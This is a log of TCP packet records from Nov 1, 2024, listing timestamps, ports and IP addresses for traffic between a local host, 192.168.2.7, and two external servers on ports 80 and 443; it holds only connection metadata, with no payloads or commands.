Nov 1, 2024 12:35:00.875684977 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.875695944 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.875737906 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.884505033 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.884516954 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.884531021 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.884620905 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.884620905 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.884793043 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.884802103 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.884813070 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.884851933 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.955610991 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.955636024 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.955704927 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.955856085 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.956525087 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.956532955 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.956581116 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.956587076 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.956593037 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.956609964 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.956634998 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.963582993 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.963680983 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.964652061 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.964660883 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.964667082 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.964679956 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.964715004 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.964715004 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.964767933 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.969736099 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.969748020 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.969753981 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.969759941 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.969772100 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.969778061 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.969784021 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.969794989 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.969801903 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.969862938 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.969862938 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.970530033 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.970539093 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.970545053 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.970551968 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.970565081 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.970571995 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.970577955 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.970582008 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.970608950 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.970629930 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.004300117 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.004312992 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.004322052 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.004371881 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.004518986 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.004539013 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.004554033 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.004626036 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.004626036 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.044084072 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.044095993 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.044107914 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.044303894 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.044312000 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.044326067 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.044410944 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.084382057 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.084394932 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.084409952 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.084585905 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.084830999 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.084839106 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.084851027 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.084903955 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.085118055 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.085125923 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.085175037 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.085180044 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.085283041 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.085306883 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.085314989 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.085321903 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.085340023 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.085342884 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.085370064 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.085407972 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.085489988 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.085566044 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.087516069 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.087523937 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.087537050 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.087615967 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.127330065 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.127340078 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.127353907 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.127360106 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.127419949 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.127419949 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.127763033 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.127835989 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.127857924 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.127862930 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.127954960 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.127994061 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.128001928 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.128007889 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.128036022 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.128057957 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.144407988 CET	80	50046	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.144556046 CET	50046	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.149363041 CET	50046	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.155596018 CET	80	50046	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.170893908 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.170907974 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.171163082 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.173018932 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.173026085 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.173038006 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.173113108 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.209069967 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.209126949 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.209141970 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.209186077 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.209192038 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.209198952 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.209254980 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.209256887 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.209259987 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.209274054 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.209280014 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.209420919 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.209420919 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.209975004 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.209981918 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.209994078 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.210082054 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.211922884 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.211930037 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.211941957 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.212028027 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.217398882 CET	443	50047	188.114.96.3	192.168.2.7
Nov 1, 2024 12:35:01.217494011 CET	50047	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:35:01.218885899 CET	50047	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:35:01.218894958 CET	443	50047	188.114.96.3	192.168.2.7
Nov 1, 2024 12:35:01.219121933 CET	443	50047	188.114.96.3	192.168.2.7
Nov 1, 2024 12:35:01.220388889 CET	50047	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:35:01.220578909 CET	50047	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:35:01.220609903 CET	443	50047	188.114.96.3	192.168.2.7
Nov 1, 2024 12:35:01.252140999 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.252152920 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.252163887 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.252294064 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.252294064 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.252401114 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.252413034 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.252484083 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.252484083 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.252712011 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.252723932 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.252756119 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.252793074 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.253813028 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.253874063 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.292879105 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.292890072 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.292900085 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.293009043 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.293013096 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.293169022 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.293169022 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.331932068 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.331964970 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.331976891 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.332040071 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.332040071 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.332079887 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.332091093 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.332103014 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.332149982 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.332149982 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.332304955 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.332345963 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.332475901 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.332487106 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.332566977 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.332655907 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.332668066 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.332700968 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.332736015 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.332912922 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.332956076 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.332967043 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.332987070 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.332987070 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.333008051 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.333273888 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.333319902 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.333332062 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.333364010 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.333364010 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.333408117 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.335560083 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.335612059 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.335622072 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.335633993 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.335659981 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.376470089 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.376482010 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.376492977 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.376621008 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.376621008 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.376712084 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.376727104 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.376800060 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.376948118 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.376960993 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.376998901 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.377026081 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.377163887 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.377211094 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.417347908 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.417361021 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.417371035 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.417445898 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.417473078 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.417484999 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.417495012 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.417500973 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.417529106 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.417529106 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.443883896 CET	80	50046	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.443979025 CET	50046	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.461711884 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.461724997 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.461736917 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.461749077 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.461803913 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.461859941 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.462094069 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.462105036 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.462116957 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.462127924 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.462141037 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.462152004 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.462169886 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.462169886 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.462236881 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.463790894 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.463800907 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.463812113 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.463823080 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.463834047 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.463849068 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.463895082 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.464801073 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.464812040 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.464822054 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.464870930 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.464870930 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.503842115 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.503860950 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.503878117 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.503884077 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.503906012 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.503911972 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.503925085 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.504051924 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.504051924 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.504241943 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.504298925 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.504489899 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.504538059 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.542932987 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.542944908 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.542956114 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.543025970 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.543051958 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.543075085 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.543087006 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.543181896 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.552603006 CET	50046	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.553014994 CET	50048	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.559830904 CET	80	50048	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.559940100 CET	50048	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.560137987 CET	50048	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.560374022 CET	80	50046	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.560429096 CET	50046	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.566951990 CET	80	50048	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.587949991 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.587980032 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.587991953 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.588002920 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.588013887 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.588026047 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.588041067 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.588052988 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.588063955 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.588078022 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.588084936 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.588138103 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.588138103 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.588184118 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.588196039 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.588207960 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.588218927 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.588231087 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.588248968 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.588248968 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.588306904 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.590415955 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.590430975 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.590441942 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.590477943 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.590498924 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.629205942 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.629225016 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.629235983 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.629334927 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.629337072 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.629338026 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.629348993 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.629362106 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.629374981 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.629386902 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.629420042 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.629420042 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.629420042 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.629508972 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.629523993 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.629564047 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.629564047 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.666599035 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.666623116 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.666635036 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.666707039 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:01.666727066 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:01.666768074 CET	50043	80	192.168.2.7	185.215.113.16
